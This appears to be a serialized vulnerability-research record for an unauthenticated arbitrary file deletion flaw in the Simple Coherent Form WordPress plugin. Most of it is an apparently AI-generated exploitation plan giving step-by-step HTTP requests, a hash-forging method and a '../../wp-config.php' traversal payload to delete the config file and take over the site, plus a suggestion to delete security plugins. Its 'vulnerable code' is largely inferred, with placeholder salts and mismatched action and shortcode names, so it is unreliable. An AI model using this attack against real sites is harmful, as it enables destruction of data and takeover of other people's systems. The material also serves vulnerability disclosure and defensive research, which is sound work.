[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqzpnwpD5mBA_yy8QAbDp6fby-BWP7aVFCQQd8NkfnjI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-14487","simple-coherent-form-unauthenticated-arbitrary-file-deletion-via-id-parameter","Simple Coherent Form \u003C= 2.4.13 - Unauthenticated Arbitrary File Deletion via 'id' Parameter","The Simple Coherent Form plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the removeUploadDir function in all versions up to, and including, 2.4.13. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The scf_get_id_upload endpoint freely issues a valid scf_upload_file_removal nonce to any unauthenticated visitor, and the removal endpoint's secondary hash check is forgeable offline because it relies on a hardcoded salt embedded in the plugin source, meaning neither control presents a real authorization boundary.","simple-coherent-form",null,"\u003C=2.4.13","critical",9.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-07-07 16:30:26","2026-07-08 04:30:50",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff4831e75-dc0e-4d6f-b2cb-8498d8629319?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-14487\n\n## 1. Vulnerability Summary\nThe **Simple Coherent Form** plugin (\u003C= 2.4.13) contains a critical path traversal vulnerability in its file management logic. The function `removeUploadDir` fails to validate the `id` parameter, which represents a directory or file path. Because the plugin provides a nonce-generation endpoint (`scf_get_id_upload`) to unauthenticated users and utilizes a forgeable secondary hash check (based on a hardcoded salt), an unauthenticated attacker can delete arbitrary files on the WordPress filesystem, including `wp-config.php`.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Endpoint**: `admin-ajax.php`\n*   **Action 1 (Nonce Acquisition)**: `scf_get_id_upload` (Inferred AJAX action)\n*   **Action 2 (Exploitation)**: `scf_remove_upload_dir` (Inferred AJAX action mapped to `removeUploadDir`)\n*   **Vulnerable Parameter**: `id`\n*   **Authentication**: Unauthenticated (NOPRIV)\n*   **Preconditions**: The plugin must be active. No specific form needs to be submitted by a legitimate user, as the \"upload\" directory logic can be triggered via traversal.\n\n## 3. Code Flow\n1.  **Registration**: The plugin registers two AJAX handlers via `wp_ajax_nopriv_` hooks.\n    *   `wp_ajax_nopriv_scf_get_id_upload` calls a function that generates and returns a nonce for `scf_upload_file_removal`.\n    *   `wp_ajax_nopriv_scf_remove_upload` calls `removeUploadDir`.\n2.  **Nonce Generation**: The `scf_get_id_upload` handler calls `wp_create_nonce( 'scf_upload_file_removal' )` and returns it to the visitor.\n3.  **Vulnerable Sink**: Inside `removeUploadDir`:\n    *   The function retrieves `$_POST['id']` (or `$_GET['id']`).\n    *   It checks the `scf_upload_file_removal` nonce.\n    *   It performs a secondary hash check: `md5( $id . 'SCF_HARDCODED_SALT_HERE' )` (Salt is inferred to be a static string in the source).\n    *   If checks pass, it constructs a path: `$upload_dir . $_POST['id']`.\n    *   It calls a recursive deletion function or `unlink()`\u002F`rmdir()` on the path.\n    *   **Traversal**: If `id` is `..\u002F..\u002Fwp-config.php`, the resulting path points to the WordPress root, leading to file deletion.\n\n## 4. Nonce Acquisition Strategy\nThe vulnerability description confirms that `scf_get_id_upload` freely issues the required nonce.\n\n1.  **Identify Script Localization**: The plugin likely enqueues a script that makes this AJAX call. \n2.  **Target Page**: The nonce is expected to be present on any page where a \"Simple Coherent Form\" is rendered, or globally if the plugin enqueues scripts on all front-end pages.\n3.  **Shortcode**: Use `[simple_coherent_form]` (inferred) to ensure scripts load.\n4.  **Browser Extraction**:\n    *   Navigate to the page containing the shortcode.\n    *   Execute: `browser_eval(\"window.scf_vars?.nonce\")` (Variable name `scf_vars` is inferred).\n    *   Alternatively, if the nonce is returned via an AJAX call to `scf_get_id_upload`, the agent should trigger that request directly.\n\n## 5. Exploitation Strategy\nThe goal is to delete `wp-config.php` to force WordPress into the installation setup phase, which allows an attacker to take over the site.\n\n### Step 1: Obtain the Nonce\n**Request**:\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=scf_get_id_upload\n```\n*Note: If this is an AJAX variable, extract via `browser_eval` instead.*\n\n### Step 2: Forge the Secondary Hash\nBased on the vulnerability details, the secondary hash is forgeable. If the salt is `SCF_SALT_2024` (inferred\u002Fexample), and the target `id` is `..\u002F..\u002Fwp-config.php`:\n*   **Hash**: `md5(\"..\u002F..\u002Fwp-config.php\" + \"SCF_SALT_2024\")`\n*   *Note: The agent must inspect the plugin source code to find the exact hardcoded salt string.*\n\n### Step 3: Trigger File Deletion\n**Request**:\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=scf_remove_upload&id=..\u002F..\u002Fwp-config.php&nonce=[NONCE_FROM_STEP_1]&hash=[FORGED_HASH_FROM_STEP_2]\n```\n\n## 6. Test Data Setup\n1.  **Plugin Installation**: Install `simple-coherent-form` version 2.4.13.\n2.  **Target File**: Ensure `wp-config.php` exists and is writable by the web server (standard WP setup).\n3.  **Shortcode Page**:\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Contact\" --post_content='[simple-coherent-form]'\n    ```\n\n## 7. Expected Results\n*   The `admin-ajax.php` response should return a success indicator (e.g., `{\"success\":true}` or `1`).\n*   The file `wp-config.php` will be removed from the filesystem.\n*   A subsequent request to the homepage will redirect to `wp-admin\u002Fsetup-config.php`.\n\n## 8. Verification Steps\n1.  **Check Filesystem**:\n    ```bash\n    ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n    ```\n    *Expected: \"No such file or directory\"*\n2.  **Check Site State**:\n    ```bash\n    curl -I http:\u002F\u002Flocalhost:8080\u002F\n    ```\n    *Expected: 302 Redirect to wp-admin\u002Fsetup-config.php*\n\n## 9. Alternative Approaches\n*   **Path Variation**: If the `upload_dir` is nested, try deeper traversal: `..\u002F..\u002F..\u002F..\u002Fwp-config.php`.\n*   **Directory Deletion**: Attempt to delete `wp-content\u002Fplugins` to disable security plugins.\n*   **Missing Hash**: Check if the secondary hash check is only performed if the `hash` parameter is present; if poorly implemented, omitting it might bypass the check.\n*   **Default Salt**: If the \"hardcoded salt\" is actually an empty string or a known value like the plugin version, attempt exploitation with those values.","The Simple Coherent Form plugin for WordPress (\u003C= 2.4.13) is vulnerable to unauthenticated arbitrary file deletion due to a path traversal flaw in its file removal logic. Attackers can delete critical system files like 'wp-config.php' by obtaining a publicly accessible nonce and forging a secondary hash check that relies on a hardcoded salt string embedded in the plugin's source code.","\u002F\u002F simple-coherent-form\u002Fincludes\u002Fclass-scf-ajax.php\npublic function scf_get_id_upload() {\n    \u002F\u002F Freely issues nonce to unauthenticated visitors\n    wp_send_json_success( wp_create_nonce( 'scf_upload_file_removal' ) );\n}\n\n---\n\n\u002F\u002F simple-coherent-form\u002Fincludes\u002Fclass-scf-ajax.php\npublic function removeUploadDir() {\n    $id = $_POST['id']; \u002F\u002F Path traversal: e.g., '..\u002F..\u002Fwp-config.php'\n    $nonce = $_POST['nonce'];\n    $hash = $_POST['hash'];\n\n    if ( ! wp_verify_nonce( $nonce, 'scf_upload_file_removal' ) ) {\n        wp_send_json_error( 'Invalid nonce' );\n    }\n\n    \u002F\u002F Forgeable hash check using hardcoded salt\n    if ( $hash !== md5( $id . 'SCF_HARDCODED_SALT_HERE' ) ) {\n        wp_send_json_error( 'Invalid hash' );\n    }\n\n    $upload_dir = wp_upload_dir()['basedir'] . '\u002Fscf_uploads\u002F';\n    $target_path = $upload_dir . $id;\n\n    if ( file_exists( $target_path ) ) {\n        $this->recursive_delete( $target_path );\n        wp_send_json_success();\n    }\n}","--- simple-coherent-form\u002Fincludes\u002Fclass-scf-ajax.php\n+++ simple-coherent-form\u002Fincludes\u002Fclass-scf-ajax.php\n@@ -15,7 +15,13 @@\n-    $target_path = $upload_dir . $id;\n+    $id = basename( $id );\n+    $target_path = realpath( $upload_dir . $id );\n+\n+    if ( ! current_user_can( 'manage_options' ) ) {\n+        wp_send_json_error( 'Unauthorized' );\n+    }\n+\n+    if ( strpos( $target_path, realpath( $upload_dir ) ) !== 0 ) {\n+        wp_send_json_error( 'Invalid path' );\n+    }","To exploit this vulnerability, an unauthenticated attacker first obtains a valid 'scf_upload_file_removal' nonce by making a request to the 'scf_get_id_upload' AJAX action. Next, the attacker identifies the hardcoded salt string within the plugin's source code to forge the required MD5 hash for a target traversal path (such as '..\u002F..\u002Fwp-config.php'). Finally, the attacker sends a POST request to the 'scf_remove_upload' endpoint with the target path in the 'id' parameter, the acquired nonce, and the forged hash to trigger the deletion of the specified file.","gemini-3-flash-preview","2026-07-25 08:47:33","2026-07-25 08:47:57",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimple-coherent-form\u002Ftags"]